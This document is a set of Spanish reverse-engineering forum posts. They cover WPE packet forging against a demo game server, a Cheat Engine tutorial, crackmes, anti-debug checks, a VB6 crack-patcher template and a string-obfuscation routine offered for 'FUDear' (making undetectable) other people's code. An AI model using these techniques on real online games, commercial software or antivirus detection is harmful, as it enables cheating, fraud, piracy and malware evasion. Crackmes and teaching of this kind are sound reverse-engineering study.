Éste paso es importante, ya que le estaremos indicando a WPE que utilice el mismo ID de socket para mandar el paquete. Si lo hemos hecho bien, en nuestra Action Console aparecerá el paquete. Recuerda marcar la pestaña Send en la Action Console:


Marcamos el paquete tal y como se ve en la foto y pulsamos en el lápiz para editar el paquete:


Ésta ventana nos muestra el paquete, aparece el tamaño (11) y el contenido en HEX y ASCII. Pulsamos QUIT ya que no queremos modificar el paquete (solo os quería enseñar como ver el contenido de un paquete antes de ser enviado). Ahora indicaremos a WPE que envíe ese paquete como si lo estuviera haciendo el propio cliente de forma legítima.

Pulsamos el boton PLAY en la ACTION CONSOLE (el botón de abajo que hay lado del lápiz) y aparece la siguiente ventana:


Debería estar configurada tal y como se ve en la foto, es decir:

- Enviar 1 vez
- Utilizar el socket abierto
- Open Socket ID: Éste es el ID del socket, debería tener un número ya escrito.

Pulsamos PLAY en ésta ventana para enviar nuestro paquete 1 vez, si lo hemos hecho bien el cliente recibirá las monedas como si hubiera abierto el cofre:


Ves que fácil? Ahora vamos a investigar un poco más: Vuelve a enviar el paquete pero ésta vez ponlo en 5 (mira la foto):


Pulsa PLAY y observa que ocurre en el CLIENTE y en el SERVIDOR:


Puedes observar como WPE ha enviado 5 veces el paquete de abrir un cofre y el servidor nos ha obsequiado con 5 respuestas (y sus respectivas monedas) jajaja

Ahora, si has sido lo suficientemente curioso... te habrás preguntado porque el paquete que envía el cliente es OpenChest#1, no? Que pasaría si cambio el último número? Para ello pulsa el lápiz para editar el paquete y cambia el último offset:


Pon un nombre al paquete para que recuerdes que lo has modificado y envíalo 1 sola vez, observamos que ocurre:



CHAN!! Acabas de engañar al servidor haciendo creer que has abierto 5 cofres, el servidor recibe OpenChest#5 y te envía 5 veces el paquete de obtener monedas. GENIAL!!

Bien, acabamos de llegar al final de la explicación sobre como enviar paquetes, es muy sencillo.

FILTAR & MODIFICAR PAQUETES

Ahora os explicaré como modificar los paquetes entrantes (recv), capturando los que cumplan un filtro y modificar dichos paquetes antes de que el CLIENTE los reciba, volvemos a nuestra captura de paquetes y nos fijamos en el primer paquete de tipo Recv:


Ese paquete es la respuesta que nos devuelve el SERVER cuando le enviamos el comando OpenChest#1, es decir, lo podemos traducir de la siguiente forma:

CLIENTE dice OpenChest#1
SERVER responde GetCoins#0X (X puede ser cualquier número del 1 al 5)

No hay que ser un superdotado para descubrir que GetCoins es la función de dar monedas y los número de detrás del # son la cantidad de monedas... pues vamos a modificarlo para que el servidor nos devuelva SIEMPRE 99 monedas. Para ello seleccionamos el contenido Hexadecimal del paquete tal y como se ve en la foto anterior y hacemos click derecho y seleccionamos Copy.

Nos vamos a nuestra Action Console (pestaña Filters), seleccionamos el primer filtro y lo editamos con el botón del lápiz:


- En la ventana del filtro, cambiamos el modo a ADVANCED
- En la parte superior, en los offsets de SEARCH hacemos click derecho y seleccionamos PASTE para pegar los datos de nuestro paquete
- Hacemos lo mismo en los offsets de MODIFY (click derecho y PASTE)

En la foto veréis que he cambiado los offsets 10 y 11. Ahora os explicaré el motivo, de momento modificarlo también (igual que la foto). Ponerle un nombre al filtro y seleccionar el tipo Recv. Pulsamos Apply

Una vez hecho ésto, marcamos el filtro y pulsamos el botón ON:


En éste estado, WPE capturará todos los paquetes de tipo Recv y los comparará con los offsets que hemos puesto en SEARCH, es decir:

47 65 74 43 6F 69 6E 73 23 = GetCoins#

Si esa comparación se cumple, modificará el paquete por los offsets de MODIFY:

47 65 74 43 6F 69 6E 73 23 39 39 = GetCoins#99

Pulsamos varias veces sobre el botón de abrir cofre en el CLIENTE y observamos que ocurre:


Como puedes observar, el servidor recibe nuestro OpenChest#1, el servidor devuelve unas cuantas monedas (1, 2, 5, 3, etc...) pero en nuestro cliente obtenemos 99 monedas todo el rato jejeje

Bien, así de sencillo es aplicar filtros. Solo tenemos que tener muy claro que offsets buscamos y que offsets hay que modificar, luego WPE trabajará solo. Para desactivar el filtro hay que quitar el botón ON.

ENVIAR PAQUETES MODIFICADOS

Ahora explicaré como solventar el tema de comprar items. (Enviar un paquete modificado)

Ya has visto que el cliente envía BuyItem#500 y el servidor responde BuyDennied#0 (es decir, que no nos permite comprar porque nos falta dinero), vamos a engañar al servidor, jeje.

Nos vamos a nuestra captura y seleccionamos el paquete de comprar BuyItem#500, hacemos click derecho y lo enviamos a nuestro Send List:


Marcamos el nuevo paquete y lo editamos:


Vamos a cambiar el número 500 por el número 2800, verás que no lo puedes cambiar de golpe. Primero tienes que aumentar el tamaño a 12 y luego escribir el nuevo valor:


Guarda el paquete modificado y envíalo 1 vez usando el botón PLAY (ya deberías saber hacerlo), si lo has hecho bien obtendrás lo siguiente:


Ya tienes tu item gratis!! :)

RESUMEN FINAL

Bueno, por hoy me detengo ya. Espero que os animéis con WPE ya que es un programa muy divertido. Ésta teoría se puede aplicar en juegos multiplayer actuales para dupear items, recibir dinero/monedas/gold, hacer tradehacks y un sinfín de cosas más. Se pued eutilizar para juegos tipo Starbound, Diablo II o para juegos Flash de navegador como PokerStar o cualquier juego tipo Ogame, etc...

La dificultad reside en que no hay una forma fija para capturar y modificar un paquete. Cada juego utiliza su protocolo y su sintaxis. Lo complicado es capturar el paquete deseado y saber modificarlo. Algunos paquetes estarán cifrados o con comprobaciones de CRC, pero eso ya lo veremos más adelante...

Saludos!! :D
#22
ASM / Ayuda con fadd qword ptr [xxxxxx]
1 Diciembre 2013, 18:45 PM
Buenas a todos

A ver, no estoy acostumbrado a trabajar con ASM y tengo una duda que no puedo resolver xD

Estoy trabajando con una variable de tiplo single (float) y he llegado a la instrucción que modifica dicha variable:

fadd qword ptr [Project1.exe+10A0]
fstp dword ptr [esi+34]


La primera instrucción me añade (fadd) el valor de Project1.exe+10A0 (que tiene un valor de 0.25). Luego la segunda instrucción almacena el valor en la variable esi+34 ¿lo digo bien? Bueno, pues yo quiero aumentar 0.75 en lugar de 0.25, he probado lo siguiente:

fadd qword ptr [0.75] = Ya se que eso no funciona, pero tenía que probarlo
fadd qword ptr 0.75 = Tampoco funciona
mov [esi+34],0.75 = Tampoco funciona

Como podéis observar, lo estoy haciendo fatal, jaja. Cual es la instrucción que me permite añadir el valor que yo quiera a mi variable de tiplo Single (float)?

Saludos y gracias
#23
Foro Libre / Soy Programador (video Oficial)
25 Noviembre 2013, 10:14 AM
[youtube=640,360]http://www.youtube.com/watch?v=4tZQtU8QiiY[/youtube]

Ojo que el vídeo es oficial del Ministerio de Educación, Cultura y Deporte de España. Vergüenza ajena.
#24
Bueno, tal y como prometí, os presento mi proyecto de Actualizador de Aplicaciones

El programa es muy básico pero cumple correctamente su función sin necesidad de complicar al usuario ni al programador. La herramienta está tan bien programada que no es necesario ni que accedáis al source del Smart Updater para implementar su función en tu aplicación.

Dada la propia naturaleza de Smart Updater, se puede utilizar como WebInstaller (es decir, un programa que descarga e instala desde 0 tu aplicación en un PC), así como para mantener siempre actualizados los ficheros del programa en cualquier equipo. Veamos como funciona:


Smart Updater solo necesita un fichero de configuración para que pueda encontrar el listado actualizado de los ficheros de tu programa, ese listado se llama updater.lst y estará colgado en la carpeta FTP/WEB junto a la copia de tu programa actualizado, para que se entienda os voy a poner un ejemplo práctico:

http://cactus-software.elhacker.net/EJEMPLO.zip

Descarga éste ejemplo de Smart Updater ya compilado, descomprime smart_updater.exe y smart.cfg en una misma carpeta. El contenido del smart.cfg es mi aplicación de ejemplo que será instalada/actualizada en tu PC:

Contenido del smart.cfg
http://cactus-software.elhacker.net/MyApp/

El contenido de cactus-software.elhacker.net/MyApp/ es el siguiente:

Se puede ver distintos ficheros y carpetas de ejemplo, además del mencionado updater.lst. Smart Updater buscará el fichero updater.lst y descargará/actualizará todos los ficheros que aparezcan listados.

Bueno, ahora ejecuta el fichero Smart_Updater.exe y pulsa el botón UPDATE, verás como la aplicación descarga el updater.lst, comprueba los ficheros locales y los ficheros del listado y si no coinciden lo descargan. Fácil, verdad?

Para generar un fichero updater.lst válido sobre cualquier carpeta o aplicación, solo tienes que descargar el siguiente programa: http://cactus-software.elhacker.net/Smart_Updater_Maker.zip

El programa es sencillo, lo ejecutas y seleccionas la carpeta de tu aplicación. El programa generará un updater.lst con el contenido de la carpeta (y subcarpetas) que has seleccionado. El fichero updater.lst se almacena al lado del Smart Updater Maker.exe, dicho fichero lo tienes que subir a tu FTP/WEB junto a la aplicación, tal y como se puede ver en la foto anterior de mi ejemplo.

El source de la aplicación también lo publico, pero no es necesario para añadirlo a una aplicación existente: http://cactus-software.elhacker.net/SmartUpdater_Engine.zip

======================================

Si alguien tiene dudas o preguntas... que pregunte!! No es fácil explicar el funcionamiento de éste programa de forma escrita, así que si hay dudas me avisáis :)
#25
Buenas a todos

Basándome en una de las lecciones de Ricardo Narvaja, descubri un buen truco para reforzar nuestro OllyDbg. Concretamente es la lección 116 del curso nuevo de Ricardo Narvaja. En dicha lección se menciona un fichero llamado "common.arg" en el que podremos personalizar el análisis de las funciones de un módulo. He cogido la idea y la he ampliado añadiendo las principales funciones de Visual Basic 6.0, así como una extensa información adicional que encontré en un foro. El resultado es divertido.

Nuestro OllyDbg 1.10 por defecto no analiza correctamente las funciones propias de MSVBVM60.DLL, éste es el aspecto del análisis de un ejecutable típico en VB6:


Se pueden ver las llamadas a las funciones en la mayoría de casos, y también nos muestra algunas cadenas en UNICODE y argumentos de la llamada de la API/función, pero si utilizamos el fichero "common.arg" el resultado es MUY distinto:


Además, y haciendo referencia a la lección original de Ricardo Narvaja, podremos poner Conditional BP en la API que queramos para poder logear y dumpear con un solo click todos los string's y argumentos.

Para crear éste fichero he tenido que generar un ejecutable que he llamado dumper.exe con el siguiente código:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
   Dim A() As String
   Dim B As String
   Dim C As Long
   Dim D1, D2 As Integer
   Dim E As Double
   Dim X As Variant
   
   Exit Sub
   Command1.Enabled = False
   
   B = "####### START DEBUGGING HERE PLEASE #######"
   On Error Resume Next
   A() = Split("THIS IS MY SPLIT STR", " ")
   B = Join(A(), ",")
   
   B = "strCAT1" & "strCAT2"
   
   Open "C:\test.txt" For Output As #1
       Print #1, "PRINT EXAMPLE"
       Write #1, "WRITE EXAMPLE"
   Close #1
   
   MsgBox "MSG_BOX_TEXT", vbOKOnly, "MSG_BOX_CAPTION"
   If "strCMP1" = "strCMP2" Then
       End
   End If
   FileCopy "C:\test.txt", "C:\FILECOPY.TXT"
   C = FileLen("C:\test.txt")
   Kill "C:\test.exe"
   Kill "C:\FILECOPY.TXT"
   MkDir "TEST_DIR"
   RmDir "TEST_DIR"
   If InStr("INSTR EXAMPLE1", "INSTR EXAMPLE2") <> 0 Then DoEvents
   C = Len("LEN STR")
   C = LenB("LENB STR")
   B = Mid("THIS IS A MID STR", 5, 2)
   
   If "LIKE STR" Like "LIKE STR2" Then DoEvents
   D1 = 10
   D2 = 5 + 10
   D2 = D1 + D1
   D2 = 5 / 2
   D2 = 5 * 2
   D2 = 5 - 2
   D2 = -D2
   D2 = 5 Mod 2
   D2 = 5 Xor 2
   D2 = Not 5
   D2 = 5 And 2
   D2 = 5 Or 2
   D2 = Sin(50)
   D2 = Cos(50)
   D2 = Tan(50)
   D2 = Atn(50)
   D2 = Exp(50)
   D2 = Log(50)
   X = Hex(500)
   X = Oct(600)
   X = Asc("Q")
   X = Chr(255)
   Form1.ForeColor = QBColor(3)
   Form1.ForeColor = RGB(255, 200, 150)
   Randomize 50
   D2 = Rnd
   B = InputBox("INPUTBOX_PROMPT", "INPUTBOX_TITLE", "INPUTBOX_DEFAULT")
   SendKeys "SENKEYS STR"
   Shell "cmd.exe", vbMaximizedFocus
   For i = 1 To 10 Step 2
       If i Mod 2 = 0 Then DoEvents
   Next i
   B = Environ("USERNAME")
   B = Command$
   B = Replace("MY REPLACE STR", "FIND STR", "REPLACE STR")
   B = StrReverse("REVERSE STR")
   Command1.Enabled = True
   B = "####### STOP DEBUGGING HERE PLEASE #######"
End Sub


Os dejo a continuación más pantallazos sobre el análisis que conseguiremos con el fichero "common.arg":




Mención especial al análisis de la función RGB() que desglosa al detalle los 3 colores, así como la función StrReplace(). El fichero no está completo, no he podido analizar el 100% de las funciones, así que si alguien puede aportar algo, mejorar o cambiar alguna función... estaría agradecido, ya que el trabajo es algo durillo jeje.


Os dejo un ZIP con el fichero "common.arg", hay que copiarlo en la carpeta de nuestro OllyDbg 1.10, al lado del ollydbg.exe. En la ventana de LOG [L] aparece si se ha cargado correctamente. También os adjunto el dumper.exe que he utilizado para dumpear el análisis correcto de la librería MSVBVM60.DLL, hay que analizar muchas funciones que me he dejado y hay otras que no he sabido como analizarlas. Agradeceré cualquier tipo de colaboración:

http://www.mediafire.com/?dk13l8lh2o9j7k8
#26
Hola a todos

Cada día aprendo cosillas nuevas y cada día se me ocurren crackme's diferentes... He diseñado un nuevo crackme que recopila un poco todo lo que he ido aprendiendo, se llama SpongeBob y aquí os presento la versión 1.0:


El crackme está programado en VB6, os dejo una breve descripción:


  • Programado en VB6 Nativo
  • Está empacado y comprimido
  • Está protegido
  • Tiene una VM bastante bestia
  • Tiene comprobaciones de CRC (Anti-Patch)
  • Hay que habilitar un control deshabilitado...
  • Hay que generar un serial válido
  • Si puedes, programa un KeyGen
  • El crackme se reinicia si fallas el serialcode
  • Parchear MSVBVM60.__vbaEnd no sirve de nada
  • La comprobación del serialcode no utiliza MSVBVM60.__vbaStrCmp

Bueno, me he dejado la piel en el crackme. Espero con ansias los primeros reportes de karmany y MCKSys...

http://www.mediafire.com/?3vrbrld8v21fg3u

Buena suerte!! :D
#27
Bueeeeeeeeno

Primero de todo quiero avisar que éste es mi primer tutorial que hago sobre Ing. Inv. tengo MUY poca experiencia y todavía me falta mucho por leer, pero me gustaría empezar por algo y como es lógico voy a empezar por lo más básico de todo: Desempacar a mano un UPX

No pretendo enseñar nada nuevo a nadie, digamos que el contenido de éste tutorial es conocido por el 99,9% de la gente que lleva como mínimo 2 días estudiando Ing. Inversa. Tanto el crackme como el tutorial lo he creado yo mismo, así que me gustaría saber opiniones, si está bien redactado, si se entiende, etc... ¡quiero mejorar!

Descarga: http://www.mediafire.com/?2l7w7qwnntscybp

Además, el tutorial viene con un crackme de prueba muy gracioso, ya que está programado con VB6 y no utiliza la función __vbaStrCmp para comparar el serial.

Saludos!! :)
#28
Buenasssss

Como y sabéis, mis principales aficiones son el Cheat Engine y los crackme's, así que he unido los 2 temas para programar un pequeño "crackme" para ser utilizado en Cheat Engine:



Tiene 3 apartados (cada cual más complicado que el anterior), las pruebas 1 y 2 os he dejado un botón de SOLUCIÓN para que podáis descubrir la respuesta. Os ruego que utilicéis la solución cuando ya os deis por vencidos. La prueba 3 no he querido poner la solución, os dejo que la descubráis vosotros mismos.

Para quien necesite un poco de referencias o ayuda: TUTORIAL CHEAT ENGINE

Link de descarga del crackme: AQUI

================================

Básicamente tenéis que encontrar la dirección de memoria (variable) donde se almacenan las monedas. No he usado ninguna protección de memoria ni nada similar, sólo ofuscación de datos. Utilizar el hilo para preguntar, dudas, comentar, etc...

Que os divirtáis
#29
Os dejo un pequeño código para codificar cadenas de texto, ideal para camuflar string's en nuestros proyectos o para FUDear algún source ajeno.

El algoritmo no es muy complicado, pero cumple 3 requisitos que para mí son indispensables:


  • Se utiliza una key para la codificación. Un mismo texto se puede codificar de infinitas formas distintas.
  • La cadena codificada contiene caracteres imprimibles
  • Si se codifica un texto homogeneo (aaaaaaaaaa) devuelve una cadena heterogenea (7347137;;997<9)

Además, como se puede observar, el algoritmo utiliza la codificación Hexadecimal, pero la cadena final contiene caracteres que no son Hexadecimales. El texto codificado será de tamaño t(i) = t(x) * 2.

Código (vb) [Seleccionar]
'***********************************************
' Name:     ROX Encryption 1.0
' Author:   MadAntrax
' Date:     13/09/2013
' URL:      foro.elhacker.net
' Usage:    eROX(string,password) to encrypt text
'           dROX(string,password) to decrypt text
'***********************************************

Function eROX(ByVal S As String, ByVal P As Integer) As String
   For i = 1 To Len(S)
       T1 = Hex(Asc(Mid(S, i, 1)))
       If Len(T1) <> 2 Then T1 = Chr(48) & T1
       T2 = T2 & T1
   Next i
   For i = 1 To Len(T2)
       R = R & Chr(Asc(Mid(T2, i, 1)) Xor (i Mod (P + 1)) Xor ((P + 2) Mod i))
   Next i
   eROX = R
End Function

Function dROX(ByVal S As String, ByVal P As Integer) As String
   For i = 1 To Len(S)
       R = R & Chr(Asc(Mid(S, i, 1)) Xor (i Mod (P + 1)) Xor ((P + 2) Mod i))
   Next i
   For i = 1 To Len(R) Step 2
       F = F & Chr(Val("&H" & Mid(R, i, 2)))
   Next i
   dROX = F
End Function


Os dejo un ejemplo sobre como codificar/decodificar texto:

Código (vb) [Seleccionar]
Private Sub Form_Load()
   MsgBox eROX("elhacker.net", 7)
   MsgBox dROX("765F7=3078<O::9;:N<H::9=", 7)
End Sub
#30
Ingeniería Inversa / Crackme: Keyfile_Me by MadAntrax
11 Septiembre 2013, 20:05 PM
Hola a todos

Acabo de diseñar un nuevo crackme para el foro, compilado siempre con VB6. Ésta vez se trata de un crackme tipo keyfileMe, el software se activa si encuentra el fichero de licencia correcto. Además para hacerlo más divertido he programado distintos "niveles" de licencia:


  • Single User
  • Developer
  • Enterpise
  • Professional
  • Full





El crackme es algo complejo, no se puede parchear. Utiliza Hardware Fingerprint para generar parte de la licencia. Se considerará la prueba superada si consigues generar un keyfile completamente válido. No importa el nivel de la licencia (User, Pro, Full, etc).

Para demostrar que has logrado superar el reto deberás postear tu keyfile correcto y tu Hardware Fingerprint que ha generado el crackme.

Aviso: No se puede parchear. El crackme está comprimido y protegido. Podéis usar el hilo para compartir info entre vosotros.

DOWNLOAD: LINK
Os dejo una captura del crackme resuelto con mis datos (no os muestro el keyfile):



Saludos!! :D

(Si no podéis superar el reto, os dejo parchear el crackme)
#31
Ingeniería Inversa / Easy Serialme by MadAntrax
26 Agosto 2013, 21:48 PM
Buenas a todos (de nuevo)

Os dejo otra de mis creaciones para que podáis practicar, jugar, destripar y aprender. Ésta vez os dejo una versión modificada de mi ultimo crackme, se trata de un sencillo serialme o keygenme. Se ha añadido una pequeña comprobación anti-debug y un pequeño packer bastante conocido.




  • No se puede parchear
  • Hay que encontrar un serial válido a partir de un username
  • Se puede programar un Keygen si lo deseas

El método anti-debug es conocido y sencillo, incluso con plugins de Ollydbg podrás saltarlo sin problemas.
La compresión (packer) usado también es sencillo y bastante conocido. No obstante si no logras desempackar el ejecutable te puedo postear una versión "normal" para que trabajes el algoritmo directamente
La rutina principal del serialme no utiliza las funciones típicas de MSVBVM60.DLL (rtcMsgBox, .__vbaStrCmp, etc).

Podéis usar el hilo para postear info si lo deseáis, disfrutad: http://www.mediafire.com/?yvr756x7x44nm4b
#32
Hola a todos

Después de unos aburridos días de Agosto, he decidido programar un nuevo crackme para la gente del foro, se llama easycrackme




  • Autor: MadAntrax
  • Tipo: Keygen Me
  • Packed: NO
  • Programado: VB6 (Native + P-Code + ActiveX DLL)
  • Protección: Ofuscación de Strings

No se hacen referencias a __vbaStrCmp ni MSVBVM60.rtcMsgBox :)

INSTRUCCIONES PARA QUE EL CRACKME FUNCIONE

Como has podido observar, el crackme tiene un fichero DLL llamado madantrax.dll, para que funcione todo correctamente hay que registrar la DLL en el sistema, sigue los siguientes pasos:


  • Descomprimir el crackme
  • Copiar en fichero madantrax.dll en la carpeta C:\
  • Ejecuta una ventana de comandos CMD
  • Ejecuta el comando regsvr32 C:\madantrax.dll



Es una DLL ActiveX de VB6 y se tiene que registrar en el sistema para poder utilizarla. A partir de ahí podréis ejecutar el easycrackme.exe sin problemas.

El crackme es muy sencillo, tienes que encontrar el serial code correcto que se corresponde el hardware fingerprint generado.

No se puede parchear

Para lograr susperar el crackme necesitas encontrar el serial code correcto. Si lo consigues puedes programar un keygen. Si no sabes programar un keygen o no tienes tiempo, envíame tu fingerprint y el código correcto. Si puedes escribe un tutorial explicando como resolviste el crackme.

http://www.mediafire.com/?jb1idzxb2268qe2
#33
Hola, vengo con una pregunta un tanto rara.

Me gustaría saber, si existe alguna forma para comprobar X offsets de un ejecutable.

Es decir, un programa que se auto-desensamble y compruebe si parte de su código ha sido modificado o no (una simple comprobación CRC de un array de bytes o comprobar byte por byte, por ejemplo)

Supongamos que conozco exactamente el offset de mi ejecutable que contiene un salto condicional crítico. Dicho offset debería tener un JE, ejemplo:

013B1CE5  74 0C         JE SHORT Bioshock.013B1CF3

Que API's debería utilizar para leer el offset 013B1CE5 y comprobar si tiene el byte 74 o 75?

Digamos que la comprobación no la quiero hacer en el propio ejecutable, si no cuando está ejecutándose (en memoria).

#34
Hola a todos

Desde hace un tiempo estoy dedicado a la creación de crack's, kaygen's, trainers y demás utilidades. Dichas utilidades se suelen diseñar con una interfaz gráfica algo trabajada y particular, añadiendo música, colores y efectos.



Os dejo un ejemplo propio, es un trainer para un videojuego, cosas a destacar:

- GUI sin controles
- El formulario se puede mover usando drag-drop en cualquier zona de la ventana
- Uso de hotkey's para controlar el trainer (telcas F1, F2, F3 y ESC)
- Efecto starfield durante la ejecución del programa
- Efecto de "maximizado" al iniciar el programa
- Música de fondo, hay 10 canciones distintas que suenan de forma random
- Formulario que muestra un scrolltext de un fichero NFO con fadein de colores

F1: Play / Pause música
F2: Cambio de canción (hay 10 en total)
F3: Muestra el scrolltext NFO con colorines
ESC: Cierra el programa
_________________________________________

El source lo he intentado comentar lo máximo. Los efectos de starfield y scrolltext NFO son sacados de pscode.com. El trainer y los demás efectos son propios.

http://www.mediafire.com/?2au6h8cmnikalrl
#35
Hola a todos, os traigo un completo tutorial para que aprendáis a utilizar Cheat Engine (a partir de ahora CE). Algunos quizás conozcan ésta herramienta para hacer trampas en algunos juegos, lo que a lo mejor no sabían es que es una herramienta MUY completa, con un debbuger genial, comparador de estructuras e inyección de código.

Para enseñar como funciona CE, he programado una especia de "video juego" en VB6. Lo he programado especialmente para éste tutorial, así que no esperéis que sea un juego divertido, jajaja.


DESCARGA EL JUEGO: http://www.mediafire.com/?ucuhy8ebun71s8j
DESCARGAR CHEAT ENGINE 6.2: http://cheatengine.org/

El juego es muy sencillo y he añadido las típicas características que podéis encontrar en el 90% de los juegos actuales: Tiempo, Vida o Magia, Objetos en un inventario, etc...

Nuestro objetivo será aprender a usar CE de forma básica para modificar la memoria de un proceso. Cuando tengáis algo de soltura, os enseñaré a inyectar código en un juego para conseguir mejores "trucos". Os iré enseñando paso por paso con capturas de pantalla lo que debéis hacer.

1. Primero abrimos el juego y cargamos la partida, a la derecha tendréis vuestra salud y magia, así como el tiempo del juego. A la izquierda vuestra mochila de objetos (vacía) y abajo los controles del juego. En la parte central aparecen los eventos, a modo de información.

2. Abrimos CE y pulsamos el primer botón situado en la esquina superior izquierda, es para abrir el proceso que queremos debuggear o trucar. Está remarcado con un recuadro coloreado.


2. Ahora aparece una ventanita mostrando los procesos en ejecución, por norma general, los procesos abiertos en último lugar a parecen al final del listado. Buscamos el nombre del juego y hacemos doble-click (OPEN)


3. Ahora ya tenemos el proceso abierto, volvemos al juego y empezaremos a "trucar". Nos vamos a centrar en el tiempo. Abajo tienes un botón para poder pausar el juego, esto facilita un poco las cosas. Pulsamos pausa y miramos que valor tenemos en el tiempo, en mi caso lo he pausado en 81


4. Vamos a la ventana del CE, en la parte central hay 3 recuadros, son los más importantes y ahí especificaremos la búsqueda que queremos realizar. Empezaremos poniendo:

Value: 81
Scan Type: Exact Value
Value Type: All

En "Value" ponemos el valor de la variable que queremos modificar/trucar. En mi caso es 81, ya que es el valor que hay en el juego. Como he puesto pausa, el tiempo no decrece y por eso es más fácil buscarlo.

En "Scan Type" ponemos "Exact Value", ya que en mi caso conocemos el valor exacto que queremos buscar (81). Si por casualidad quisieramos buscar un valor desconocido usaríamos "Unknow initial value" (este ejemplo lo veremos al hackear la saludo o maná del jugador, más adelante)

En "Value Type" ponemos "All". Normalmente el 90% de los juegos usan variables de tipo 4-byte, es lo más común, pero en mi juego de ejemplo, las variables son de 2-byte. Por eso, si tienes dudas y no sabes que valor tiene una variable, lo mejor es poner All y CE buscará todas las posibilidades.

Pulsamos el botón FIRST SCAN


CE hará una búsqueda muy rápida y me mostrará TODAS LAS DIRECCIONES DE MEMORIA que contengan en valor exacto 81, en mi caso han salido 438 direcciones. Que significa eso?

Esas 438 direcciones contienen el valor 81 en su interior, lo que significa que 1 de esas 438 será la dirección encargada de almacenar el tiempo del juego. La verdad que 438 son demasiadas así que deberíamos reducir ese número, como lo hacemos? Muy fácil.

1. Quita la pausa en el juego y deja que el valor siga decreciendo, en mi caso dejo que llegue hasta 79 y pulso de nuevo pausa para dejarlo ahí quieto.

2. Volvemos al CE (sin cerrar nada) y cambiamos los valores:

Value: Quitamos el 81 y ponemos 79 (en tu caso por el valor que salga en tu pantalla)
Scan Type: Exact Value (Al ser un número conocido, ponemos un valor exacto)
Value type: All

Y ahora pulsamos el segundo botón que pone: NEXT SCAN. Ojo y no pulses NEW SCAN, ya que borrarías las anteriores 438 direcciones encontradas y tendrías que empezar de nuevo:


En mi caso CE ha devuelto solo 2 direcciones encontradas

60EAFC:1
60EAFC:2


Los número de :1 y :2 significan el tipo de dirección, es decir de 1-byte y de 2-byte. Si nos fijamos es la misma dirección de memoria solo que nos da la posibilidad de trabajar con 1-byte o 2-bytes. Hacemos doble click sobre 60EAFC:2 para mandar la dirección encontrada a la parte inferior.


Ahora que tenemos la dirección en la parte inferior hacemos doble click en su valor, se nos abrirá una ventanita donde podemos cambiar el valor de la dirección, ponemos 99 y damos aceptar. Hacemos lo mismo en la descripción y ponemos la palabra "TIEMPO" (ésto es solo a nivel interno y nos ayudará a ser más ordenados). Por ultimo marcamos la casilla. Lo que hace esta casilla es forzar a que esa dirección contenga SIEMPRE ese valor:


Así es como debería quedar, ahora vuelve al juego y quita la pausa, verás como el tiempo ya no decrece, se queda congelado en un mismo valor. Posiblemente te aparezca 98, eso es debido a que el juego coge el valor (99) le resta -1 y lo muestra, pero CE vuelve a escribir 99 consiguiendo un Cheat/Truco de tiempo ilimitado :D

=========================================

Bueno, hasta aquí la primera lección, es lo más fácil y sencillo de CE, supongo que la mayoría ya domináis éste tipo de función. Si veo que el hilo ha tenido buena aceptación me animaré a hacer las siguientes partes:

1. Uso básico de CE
1.1 Buscar una variable y modificar el valor/frezee
1.2 Buscar una variable de valor desconocido
1.3 Buscar una variable de valor desconocido (difícil)
2. Inyección de código
3. Creación de un trainer
4. Comparar estructuras

Por el momento hemos llegado al 1.1 :D Prueba de realizar este sencillo tutorial y comenta en el hilo como te ha ido, si tienes problemas o dudas. Para los más animados, os podéis avanzar e intentar trucar vuestra salud/vida, haciendo que la barra roja no decrezca. Os dejo una pista: Trabajar con Unknow initial value y usar los tipos Decreased value o Increased. Si no os sale no pasa nada, ya que lo explicaré en la próxima lección :D
#36
Bueno, la idea de éste hilo es poder crear un patcher/crack para una aplicación, dando un toque profesional como hacen los principales teams de cracking. Como algunos ya sabréis, yo programo en VB6, así que el ejemplo que os traigo es en dicho lenguaje. El proyecto se puede usar también para hacer un keygen.

Éste Patcher/Crack tiene lo siguiente:

- Custom GUI fuera de lo normal
- Fondo psicodélico efecto rainbow
- Música chiptune de 8-bits (hay 10 distintas)
- Scrolltext al pulsar el botón [?]
- Se puede cambiar la música a gusto
- Visor de fichero NFO con efecto degradado
- Parchea un ejecutable de forma sencilla

Os dejo unas screens:








A partir de aquí, modificarlo es muy sencillo. Lo único que necesitas es generar un ejecutable parcheado y usar WinHex para compararlos y sacar los offsets y valores modificados. En el fichero adjunto hay un crackme compilado y su patcher correspondiente. Podrás probar como el patcher escribe los offset's correctos y deja el crackme completamente parcheado y resuelto.

Para sacar los offsets modificados entre 2 ficheros lo mejor es usar WinHex, os adjunto foto de la opción que hay que utilizar



Al comparar los ficheros se genera un informe, tal que así:

Buscar diferencias

1. C:\Users\usuario\Desktop\crackme patch.exe: 24.576 bytes
2. C:\Users\usuario\Desktop\crackme.exe: 24.576 bytes
Offsets: hexadec.

2757: 0F 90
2758: 85 90
2759: 19 90
275A: 01 90
275B: 00 90
275C: 00 90
27F1: 84 85

7 diferencia(s) encontrado.


Una vez se tienen los datos, en el código fuente se modifican los arrays y los datos siguiendo el informe de WinHex:

Código (vb) [Seleccionar]
    'Load the patch data
    pOffset(1) = &H2757
    pOffset(2) = &H2758
    pOffset(3) = &H2759
    pOffset(4) = &H275A
    pOffset(5) = &H275B
    pOffset(6) = &H275C
    pOffset(7) = &H27F1

    pData(1) = &H90
    pData(2) = &H90
    pData(3) = &H90
    pData(4) = &H90
    pData(5) = &H90
    pData(6) = &H90
    pData(7) = &H85


También hay que modificar y añadir el tamaño en bytes del fichero a parchear, a modo de comprobación. Y YA ESTÁ!!

Bueno, ahora solo queda que os descarguéis el source, hay incluido un crackme con su parche, para que podáis comprobar todos los efectos y musicas de la GUI, así como de la efectividad del patcher/crack.

Espero que os sirva: http://www.mediafire.com/?1x0x4din5b52xhn
#37
Bueno, tras investigar un poco he decidido recopilar las principales funciones para detectar si un programa está siendo debuggeado. Lo he programado todo bajo VB6 ya que es el único lenguaje que domino para éste tipo de cosas, así que estoy algo limitado, ahí va:



Hay programados 17 métodos para detectar a OllyDbg, la idea del proyecto es la siguiente:


  • Ejecutar DbgDetection.exe bajo Windows, sin debugger: Probar todos y cada uno de los botones, deberían detecter que NO hay debugger
  • Ejecutar DbgDetection.exe bajo un debugger OlyDbg sin plugins ni protecciones. Probar todos y cada uno de los botones y ver las funciones que detectan tu OllyDbg
  • Ejecutar DbgDetection.exe bajo un debugger OlyDbg con plugins y protecciones. Probar todos y cada uno de los botones y ver las funciones que detectan tu OllyDbg

La idea es ver como y cada uno de éstos métodos puede llegar a detectar un Debugger, así como comprobar si tu selección de plugins/protecciones mantienen a tu OllyDbg invisible.




